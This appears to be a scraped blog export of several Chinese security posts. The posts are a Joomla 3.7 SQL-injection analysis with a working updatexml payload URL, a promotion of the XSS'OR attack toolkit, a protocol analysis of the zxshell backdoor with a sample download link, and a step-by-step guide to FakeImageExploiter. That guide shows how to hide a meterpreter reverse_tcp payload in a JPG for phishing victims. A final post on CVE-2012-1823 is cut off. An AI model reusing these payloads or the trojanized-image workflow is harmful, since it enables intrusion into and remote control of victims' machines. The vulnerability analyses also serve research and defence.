mysqli_real_escape_string 来转义字符，该函数具体作用如下：\n仅对单双引号等字符进行转义，并未做更多过滤。另外 $query-\u0026gt;order 函数的作用仅仅是将数据拼接到 ORDER BY 语句后，也并未进行过滤，所以如果 list.fullordering 可控，那么就可以进行注入。\n我们可以看到 list.fullordering 是一个 state， state 会在视图的 display 函数中进行设置：\n跟进这个设置过程，程序会走到 libraries/legacy/model/list.php 中的 populateState 函数中，具体的调用栈如下：\n该函数中有如下一段代码：\nif ($list = $app-\u0026gt;getUserStateFromRequest($this-\u0026gt;context . \u0026#39;.list\u0026#39;, \u0026#39;list\u0026#39;, array(), \u0026#39;array\u0026#39;)) { foreach ($list as $name =\u0026gt; $value) { // Exclude if blacklisted if (!in_array($name, $this-\u0026gt;listBlacklist)) { ... $this-\u0026gt;setState(\u0026#39;list.\u0026#39; . $name, $value); } } } 程序通过 $app-\u0026gt;getUserStateFromRequest 取到一个 $list 数组 ，如果数组的key不在黑名单中，则遍历该数组对相应 state 进行注册， getUserStateFromRequest 的代码如下：\n结合前面的调用来看，我们可以通过请求中的参数 list 来设置 $list 变量，因此我们访问 http://ip/index.php?option=com_fields\u0026amp;view=fields\u0026amp;layout=modal\u0026amp;list[fullordering]=updatexml(2,concat(0x7e,(version())),0) 并开启动态调试动态调试，结果如下：\n可以看到 list.fullordering 已经被我们控制。\n回到 getListQuery，该函数会在视图加载时被自动调用，具体函数调用栈如下：\n所以我们的payload也就通过 getState 传入了这个函数，最终导致SQL注入：\n0x02 补丁分析 改为取 list.ordering 和 list.direction 作为查询的参数，这两个参数在 populateState 函数中做了如下处理：\n如果值不在指定范围内则将其更改为默认值，因此无法再将payload带入。\n0x03 参考 https://www.seebug.org/vuldb/ssvid-93113 https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html\n","permalink":"https://www.lucien116.com/archives/351/","summary":"\u003cp\u003e\u003cstrong\u003eAuthor: p0wd3r (知道创宇404安全实验室)\u003c/strong\u003e \u003cstrong\u003eDate: 2017-05-18\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"0x00-漏洞概述\"\u003e0x00 漏洞概述\u003c/h2\u003e\n\u003ch3 id=\"漏洞简介\"\u003e漏洞简介\u003c/h3\u003e\n\u003cp\u003eJoomla于5月17日发布了新版本3.7.1,（ \u003ca href=\"https://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html\"\u003ehttps://www.joomla.org/announcements/release-news/5705-joomla-3-7-1-release.html\u003c/a\u003e），本次更新中修复一个高危SQL注入漏洞（ \u003ca href=\"https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html\"\u003ehttps://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html\u003c/a\u003e），成功利用该漏洞后攻击者可以在未授权的情况下进行SQL注入。\u003c/p\u003e\n\u003ch3 id=\"漏洞影响\"\u003e漏洞影响\u003c/h3\u003e\n\u003cp\u003e未授权状态下SQL注入\u003c/p\u003e\n\u003cp\u003e影响版本： 3.7.0\u003c/p\u003e\n\u003ch2 id=\"0x01-漏洞复现\"\u003e0x01 漏洞复现\u003c/h2\u003e\n\u003cp\u003eJoomla 在 3.7.0 中新增了一个 \u003ccode\u003ecom_field\u003c/code\u003e 组件，其控制器的构造函数如下，在 \u003ccode\u003ecomponents/com_fields/controller.php\u003c/code\u003e 中：\n\u003cimg loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/05/construct.png\"\u003e\u003c/p\u003e\n\u003cp\u003e可以看到当访问的 \u003ccode\u003eview\u003c/code\u003e 是 \u003ccode\u003efields\u003c/code\u003e， \u003ccode\u003elayout\u003c/code\u003e 是 \u003ccode\u003emodal\u003c/code\u003e 的时候，程序会从 \u003ccode\u003eJPATH_ADMINISTRATOR\u003c/code\u003e 中加载 \u003ccode\u003ecom_fields\u003c/code\u003e，这就意味着普通用户可以通过这样的请求来使用管理员的 \u003ccode\u003ecom_fields\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e接下来我们看管理员的 \u003ccode\u003ecom_fields\u003c/code\u003e 组件，我们来到 \u003ccode\u003eadministrator/components/com_fields/models/fields.php\u003c/code\u003e，其中的 \u003ccode\u003egetListQuery\u003c/code\u003e 的部分代码如下：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Alt text\" loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/05/getlistquery.png\"\u003e\u003c/p\u003e\n\u003cp\u003e程序通过 \u003ccode\u003e$this-\u0026gt;getState\u003c/code\u003e 取到 \u003ccode\u003elist.fullordering\u003c/code\u003e，然后使用 \u003ccode\u003e$db-\u0026gt;escape\u003c/code\u003e 处理后传入 \u003ccode\u003e$query-\u0026gt;order\u003c/code\u003e 函数，mysqli的 \u003ccode\u003eescape\u003c/code\u003e 函数代码如下：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Alt text\" loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/05/escape.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这里调用 \u003ccode\u003emysqli_real_escape_string\u003c/code\u003e 来转义字符，该函数具体作用如下：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Alt text\" loading=\"lazy\" src=\"http://paper.seebug.org/content/images/2017/05/mysqli-escape.png\"\u003e\u003c/p\u003e\n\u003cp\u003e仅对单双引号等字符进行转义，并未做更多过滤。另外 \u003ccode\u003e$query-\u0026gt;order\u003c/code\u003e 函数的作用仅仅是将数据拼接到 \u003ccode\u003eORDER BY\u003c/code\u003e 语句后，也并未进行过滤，所以如果 \u003ccode\u003elist.fullordering\u003c/code\u003e 可控，那么就可以进行注入。\u003c/p\u003e\n\u003cp\u003e我们可以看到 \u003ccode\u003elist.fullordering\u003c/code\u003e 是一个 \u003ccode\u003estate\u003c/code\u003e， \u003ccode\u003estate\u003c/code\u003e 会在视图的 \u003ccode\u003edisplay\u003c/code\u003e 函数中进行设置：\u003c/p\u003e","title":"Joomla! 3.7 Core SQL 注入 (CVE-2017-8917)漏洞分析"},{"content":"作者: 余弦\n地址： xssor.io\n这是一个在线免费的前端黑工具，目前主要包含 3 大模块：\n1. Encode/Decode\n加解密模块，包含：前端黑相关的加解密，代码压缩、解压、美化、执行测试，字符集转换，哈希生成，等。\n2. Codz\n代码模块，包含：CSRF 请求代码生成，AJAX 请求代码生成，XSS 攻击矢量，XSS 攻击 Payload，等。\n3. Probe\n探针模块，为了平衡，这是一个最基础的探针，且每个 IP 每天都可以生成一个唯一探针，使用者可以用这个探针发起攻击测试（如：XSS、钓鱼攻击等），探针可以获取目标用户的基本信息，使用者还可以动态植入更多的命令(JavaScript Codz)进行“远控”测试。\n一些用户体验与隐私考虑：\nXSS\u0026rsquo;OR，即使你浏览器不小心关掉或奔溃，你的记录也不会丢，因为相关记录都缓存到了你的浏览器本地。服务器不会存储你的任何隐私，除了 Probe 的结果记录（仅是结果记录）会临时性缓存，这是因为设计考虑，但每天0点都会自动清除。\n放心使用吧！地址： xssor.io\n如果你有好的想法与贡献，我们采纳后，会在 XSS\u0026rsquo;OR 致谢榜上感谢你。\n","permalink":"https://www.lucien116.com/archives/349/","summary":"\u003cp\u003e作者: \u003cstrong\u003e余弦\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e地址： \u003ca href=\"http://xssor.io/\"\u003exssor.io\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e这是一个在线免费的前端黑工具，目前主要包含 3 大模块：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1. Encode/Decode\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e加解密模块，包含：前端黑相关的加解密，代码压缩、解压、美化、执行测试，字符集转换，哈希生成，等。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Codz\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e代码模块，包含：CSRF 请求代码生成，AJAX 请求代码生成，XSS 攻击矢量，XSS 攻击 Payload，等。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Probe\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e探针模块，为了平衡，这是一个最基础的探针，且每个 IP 每天都可以生成一个唯一探针，使用者可以用这个探针发起攻击测试（如：XSS、钓鱼攻击等），探针可以获取目标用户的基本信息，使用者还可以动态植入更多的命令(JavaScript Codz)进行“远控”测试。\u003c/p\u003e\n\u003cp\u003e一些用户体验与隐私考虑：\u003c/p\u003e\n\u003cp\u003eXSS\u0026rsquo;OR，即使你浏览器不小心关掉或奔溃，你的记录也不会丢，因为相关记录都缓存到了你的浏览器本地。服务器不会存储你的任何隐私，除了 Probe 的结果记录（仅是结果记录）会临时性缓存，这是因为设计考虑，但每天0点都会自动清除。\u003c/p\u003e\n\u003cp\u003e放心使用吧！地址： \u003ca href=\"http://xssor.io/\"\u003exssor.io\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e如果你有好的想法与贡献，我们采纳后，会在 XSS\u0026rsquo;OR 致谢榜上感谢你。\u003c/p\u003e","title":"在线免费的前端黑工具 XSS'OR"},{"content":"前言： 这是一个很就很久以前的远控了，这东西好像当时用的人比较少。今天在网上发现了于是下载下来分析一下。软件轻巧简洁，功能也比较齐全，唯一感觉不足的是配置个人感觉比较麻烦。软件的介绍及简单使用说明在压缩包里的“必读.txt”，这里不再赘述，本文主要从后门通信的数据流量角度去分析，文末附远控样本及分析过程中的数据包。\n文件目录 zxshell3压缩包里面包含以下文件：\n├─Controller.exe 控制端，用来操控上线的服务端 ├─ctrldll.dll Controller.exe的模块，主要负责远程桌面时拦截本地系统一些热键。 ├─qqwry.dat ip到地理位置的数据库,可以自己下载更新的版本代替它 ├─srv │ ├─myip.txt 放在http服务器配合上线通知的用的，如果直接通过域名解析则无需用到此文件 │ ├─ZXCFG.exe 配置ZXShell.exe的默认安装参数 │ ├─zxplug.rar ZXPlug插件功能, 如何添加自定义命令的一个例子 │ └─ZXShell.exe 服务端,console版本,有几个参数,可以在cmd 下通过 -help 参数获得详细信息 └─必读.txt\n程序适应平台：2000/xp/vista(在测试的时候发现win7上也可正常运行)。\n分析环境 控制端：win7虚拟机 （10.0.3.160）\n服务端：win7虚拟机（10.0.3.172）\n上线端口默认为1985\n分析过程 下面将从样本的上线、远程桌面、文件控制、命令执行等操作指令的流量数据特征进行分析。\n样本配置 样本的配置如下图\n控制端默认设置监听端口1985，填好配置的上线密码如下图\n样本配置好后，控制端点击右边的启动按钮开始监听。将生成的样本放到服务端（10.0.3.172）上并运行。（由于本地测试就没有使用外网上行的方式，采用的本地测试上线方式），在10.0.3.172上打开一个CMD，执行“puliic_ZXShell.exe -ip 10.0.3.160 -port 1985 -filename c:\\ctrldll.dll -test”,可以看见会释放一个ctrldll.dll文件到我们指定的目录下\n此时我们回到控制端，可以看到已经上线\n上线后可以看到服务端的版本、IP、地理位置、信通信息等信息。\n此时我们可以从服务端上抓取的两台机器通信的数据包中可以看到上线帧。上线之后同多数远控一样，自动发送本机的一些基本信息给控制端，如下图\n此时我们点击控制端上的“系统信息”，获取服务端电脑信息。可以看到，与上线帧里面获取的系统信息不通的是，此时服务端返回的信息系统信息更加详细。\n抓到的数据包：\n可以发现，控制端首先发送指令“sysinfo”给服务端，随后服务端分两个包返回了系统信息。\n远程桌面 指令为：winvnc\n视频监视 指令为：capsrv\n获取一个CMD 指令为：getcmd\n获取CMD后我们执行一条命令:calc.exe,打开服务端电脑上的计算器。\n可以看到服务端电脑已经弹出计算器。\n文件管理 指令为：FileMG..\n随后执行几条操作看看流量是怎样的,首先转到C盘目录下\n可以看到，控制端发送指令：LIST C，随后服务端返回了C盘的文件信息。\n下载文件 我们下载C盘根目录下的名为“test”的文件夹到本地。\n可以看到控制端发送了一个FILE C：\\test的指令给服务端。随后开始下载。\n上传文件 上传控制端桌面的上的一个“hehe.txt”的文本文件到服务端的C盘根目录下。\n可以看到控制端显示发送了一直SIZE hehe.txt 的指令然后再发送一个STOR hehe.txt的指令随后开始上传hehe.txt文件。\n删除文件 删除刚才上传的hehe.txt文件，控制端发送的指令为DELE C：\\hehetxt.\n小结： 该远控采用TCP协议通信，上线默认端口：1985 指令： 获取系统信息：sysinfo\n远程桌面：winvnc\n视频监视：capsrv\n文件管理：FileMG\n命令执行：getcmd\n获取文件列表：LIST\n下载文件：FILE X:\\文件路径\n上传文件：SIZE 文件名、STOR 文件名\n在分析过程中发现，服务端会不定时的向控制端发送心跳包，包长为55。 下载地址： http://pan.baidu.com/s/1kVA28Wv 密码：lbvc\n","permalink":"https://www.lucien116.com/archives/319/","summary":"\u003ch1 id=\"前言\"\u003e前言：\u003c/h1\u003e\n\u003cp\u003e这是一个很就很久以前的远控了，这东西好像当时用的人比较少。今天在网上发现了于是下载下来分析一下。软件轻巧简洁，功能也比较齐全，唯一感觉不足的是配置个人感觉比较麻烦。软件的介绍及简单使用说明在压缩包里的“必读.txt”，这里不再赘述，本文主要从后门通信的数据流量角度去分析，文末附远控样本及分析过程中的数据包。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ch2 id=\"文件目录\"\u003e文件目录\u003c/h2\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003ezxshell3压缩包里面包含以下文件：\u003c/p\u003e\n\u003cp\u003e├─Controller.exe 控制端，用来操控上线的服务端\n├─ctrldll.dll Controller.exe的模块，主要负责远程桌面时拦截本地系统一些热键。\n├─qqwry.dat ip到地理位置的数据库,可以自己下载更新的版本代替它\n├─srv\n│ ├─myip.txt 放在http服务器配合上线通知的用的，如果直接通过域名解析则无需用到此文件\n│ ├─ZXCFG.exe 配置ZXShell.exe的默认安装参数\n│ ├─zxplug.rar ZXPlug插件功能, 如何添加自定义命令的一个例子\n│ └─ZXShell.exe 服务端,console版本,有几个参数,可以在cmd 下通过 -help 参数获得详细信息\n└─必读.txt\u003c/p\u003e\n\u003cp\u003e程序适应平台：2000/xp/vista(在测试的时候发现win7上也可正常运行)。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ch2 id=\"分析环境\"\u003e分析环境\u003c/h2\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e控制端：win7虚拟机 （10.0.3.160）\u003c/p\u003e\n\u003cp\u003e服务端：win7虚拟机（10.0.3.172）\u003c/p\u003e\n\u003cp\u003e上线端口默认为1985\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ch2 id=\"分析过程\"\u003e分析过程\u003c/h2\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e下面将从样本的上线、远程桌面、文件控制、命令执行等操作指令的流量数据特征进行分析。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003ch3 id=\"样本配置\"\u003e样本配置\u003c/h3\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e样本的配置如下图\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/pzjm1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/pzjm1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e控制端默认设置监听端口1985，填好配置的上线密码如下图\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/pzjm2.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/pzjm2.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e样本配置好后，控制端点击右边的启动按钮开始监听。将生成的样本放到服务端（10.0.3.172）上并运行。（由于本地测试就没有使用外网上行的方式，采用的本地测试上线方式），在10.0.3.172上打开一个CMD，执行“puliic_ZXShell.exe -ip 10.0.3.160 -port 1985 -filename c:\\ctrldll.dll -test”,可以看见会释放一个ctrldll.dll文件到我们指定的目录下\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/22.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/22.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e此时我们回到控制端，可以看到已经上线\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/1.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/1.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e上线后可以看到服务端的版本、IP、地理位置、信通信息等信息。\u003c/p\u003e\n\u003cp\u003e此时我们可以从服务端上抓取的两台机器通信的数据包中可以看到上线帧。上线之后同多数远控一样，自动发送本机的一些基本信息给控制端，如下图\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/1.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/1.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e此时我们点击控制端上的“系统信息”，获取服务端电脑信息。可以看到，与上线帧里面获取的系统信息不通的是，此时服务端返回的信息系统信息更加详细。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/hqxtxx.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/hqxtxx.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e抓到的数据包：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/sysinfo.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/sysinfo.jpg\"\u003e\u003c/a\u003e\u003ca href=\"/wp-content/uploads/2017/05/xtzl2.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/xtzl2.jpg\"\u003e\u003c/a\u003e\u003ca href=\"/wp-content/uploads/2017/05/xtzl3.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/xtzl3.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e可以发现，控制端首先发送指令“sysinfo”给服务端，随后服务端分两个包返回了系统信息。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003ch3 id=\"远程桌面\"\u003e远程桌面\u003c/h3\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e指令为：winvnc\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/ycpm.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/ycpm.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003ch3 id=\"视频监视\"\u003e视频监视\u003c/h3\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e指令为：capsrv\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/capsrv.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/capsrv.png\"\u003e\u003c/a\u003e\u003ca href=\"/wp-content/uploads/2017/05/sp.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/sp.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003ch3 id=\"获取一个cmd\"\u003e获取一个CMD\u003c/h3\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e指令为：getcmd\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2017/05/cmd.jpg\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2017/05/cmd.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e获取CMD后我们执行一条命令:calc.exe,打开服务端电脑上的计算器。\u003c/p\u003e","title":"zxshell3.0后门程序通信数据简单分析"},{"content":"在这里，要向大家推荐一款名为“Fake Image Exploiter”的黑客工具，该工具可以在图片文件中捆绑隐藏的恶意.bat或.exe程序，方便钓鱼或社工攻击过程中的入侵控制。如果受害者点击该恶意图片文件后，将会向控制主机反弹一个管理控制会话。以下是其使用视频： https://www.youtube.com/watch?v=4dEYIO-xBHU\n配置使用 首先，打开Kali终端，执行下载安装和配置：\ngit clone https://github.com/r00t-3xp10it/FakeImageExploiter.git\n下载完成之后，进入FakeImageExploiter文件夹，选择setting文件进行配置：\n在此，你可以选择隐藏在图片中的Payload格式，有ps1、bat、txt和exe四种格式可选，我们选择PAYLOAD_EXETNSION=bat；在生成捆绑图片文件的替换图标icon选项中，我们选择BYPASS_RH=NO，非自动，需要手动更改和添加最终生成的图片图标icon。\n同样，在setting文件中找到以下两列进行按需修改：\nAUTO_PAYLOAD_BUILD=YES （自动生成Payload选项）\nAGENT_HANLER_PORT=4444（植入恶意程序后的客户端监听端口）\n配置选项完成后，可以启动Fake Image Exploiter主程序。\n生成Payload Cd FakeImageExploiter\n./ FakeImageExploiter.sh\n选择YES启动Payload生成配置框架：\n选择在捆绑在图片文件中的恶意程序需要加载利用的Payload，这里我们选择window/meterpreter/reverse_tcp：\n之后，会跳出提示框，需要手动选择你需要捆绑.bat Payload进行伪装利用的jpg图片文件：\n以及最终图片文件的替换图标icon主题：\n接下来，为最终捆绑好的恶意图片文件进行命名：\nFakeImageExploiter最后会生成在两个位置生成恶意图片文件，一个为本机Apache2 web服务的根目录下的.zip文件，另外为FakeImageExploiter输出文件夹（output）下的隐藏后缀恶意图片文件，点击执行后，该文件在显示jpg图像的同时，还会隐秘生成一个连向控制主机的反弹管理会话：\n以下是控制端成功连接后显示的反弹管理会话：\n好了，工具介绍完了，但请别用于非法目的哦。\n*参考来源： hackingarticles ，freebuf小编clouds编译，转载请注明来自FreeBuf.com\n","permalink":"https://www.lucien116.com/archives/318/","summary":"\u003cp\u003e\u003cstrong\u003e在这里，要向大家推荐一款名为“Fake Image Exploiter”的黑客工具，该工具可以在图片文件中捆绑隐藏的恶意.bat或.exe程序，方便钓鱼或社工攻击过程中的入侵控制。如果受害者点击该恶意图片文件后，将会向控制主机反弹一个管理控制会话。以下是其使用视频：\u003c/strong\u003e \u003ca href=\"https://www.youtube.com/watch?v=4dEYIO-xBHU\"\u003ehttps://www.youtube.com/watch?v=4dEYIO-xBHU\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"配置使用\"\u003e配置使用\u003c/h2\u003e\n\u003cp\u003e首先，打开Kali终端，执行下载安装和配置：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003egit clone \u003ca href=\"https://github.com/r00t-3xp10it/FakeImageExploiter.git\"\u003ehttps://github.com/r00t-3xp10it/FakeImageExploiter.git\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942225073502.png\"\u003e\u003cimg alt=\"1 (1).png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942225073502.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e下载完成之后，进入FakeImageExploiter文件夹，选择setting文件进行配置：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942225495392.png\"\u003e\u003cimg alt=\"2.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942225495392.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在此，你可以选择隐藏在图片中的Payload格式，有ps1、bat、txt和exe四种格式可选，我们选择PAYLOAD_EXETNSION=bat；在生成捆绑图片文件的替换图标icon选项中，我们选择BYPASS_RH=NO，非自动，需要手动更改和添加最终生成的图片图标icon。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942225766294.png\"\u003e\u003cimg alt=\"3.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942225766294.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e同样，在setting文件中找到以下两列进行按需修改：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAUTO_PAYLOAD_BUILD=YES （自动生成Payload选项）\u003c/p\u003e\n\u003cp\u003eAGENT_HANLER_PORT=4444（植入恶意程序后的客户端监听端口）\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942226601461.png\"\u003e\u003cimg alt=\"4.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942226601461.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e配置选项完成后，可以启动Fake Image Exploiter主程序。\u003c/p\u003e\n\u003ch2 id=\"生成payload\"\u003e生成Payload\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCd FakeImageExploiter\u003c/p\u003e\n\u003cp\u003e./ FakeImageExploiter.sh\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942227064611.png\"\u003e\u003cimg alt=\"5.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942227064611.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e选择YES启动Payload生成配置框架：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942227275158.png\"\u003e\u003cimg alt=\"6.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942227275158.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e选择在捆绑在图片文件中的恶意程序需要加载利用的Payload，这里我们选择window/meterpreter/reverse_tcp：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942227504943.png\"\u003e\u003cimg alt=\"7.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942227504943.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e之后，会跳出提示框，需要手动选择你需要捆绑.bat Payload进行伪装利用的jpg图片文件：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942227701909.png\"\u003e\u003cimg alt=\"8.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942227701909.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e以及最终图片文件的替换图标icon主题：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942227936846.png\"\u003e\u003cimg alt=\"9.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942227936846.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e接下来，为最终捆绑好的恶意图片文件进行命名：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942228641088.png\"\u003e\u003cimg alt=\"10.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942228641088.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eFakeImageExploiter最后会生成在两个位置生成恶意图片文件，一个为本机Apache2 web服务的根目录下的.zip文件，另外为FakeImageExploiter输出文件夹（output）下的隐藏后缀恶意图片文件，点击执行后，该文件在显示jpg图像的同时，还会隐秘生成一个连向控制主机的反弹管理会话：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942229075938.png\"\u003e\u003cimg alt=\"11.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942229075938.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e以下是控制端成功连接后显示的反弹管理会话：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20170508/14942229368080.png\"\u003e\u003cimg alt=\"12.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20170508/14942229368080.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e好了，工具介绍完了，但请别用于非法目的哦。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e*参考来源： \u003ca href=\"http://www.hackingarticles.in/embedded-backdoor-image-using-fakeimageexploiter/\"\u003ehackingarticles\u003c/a\u003e\u003c/strong\u003e \u003cstrong\u003e，freebuf小编clouds编译，转载请注明来自FreeBuf.com\u003c/strong\u003e\u003c/p\u003e","title":"图片后门捆绑利用工具 – FakeImageExploiter"},{"content":"CVE-2012-1823出来时据说是“PHP远程代码执行漏洞”，曾经也“轰动一时”，当时的我只是刚踏入安全门的一个小菜，直到前段时间tomato师傅让我看一个案例，我才想起来这个漏洞。通过在 Vulhub 中对这个漏洞环境的搭建与漏洞原理的分析，我觉得还挺有意思的，故写出一篇文章来，和大家分享。\nPHP SAPI 与运行模式 首先，介绍一下PHP的运行模式。\n下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如我在《Fastcgi协议分析 \u0026amp;\u0026amp; PHP-FPM未授权访问漏洞 \u0026amp;\u0026amp; 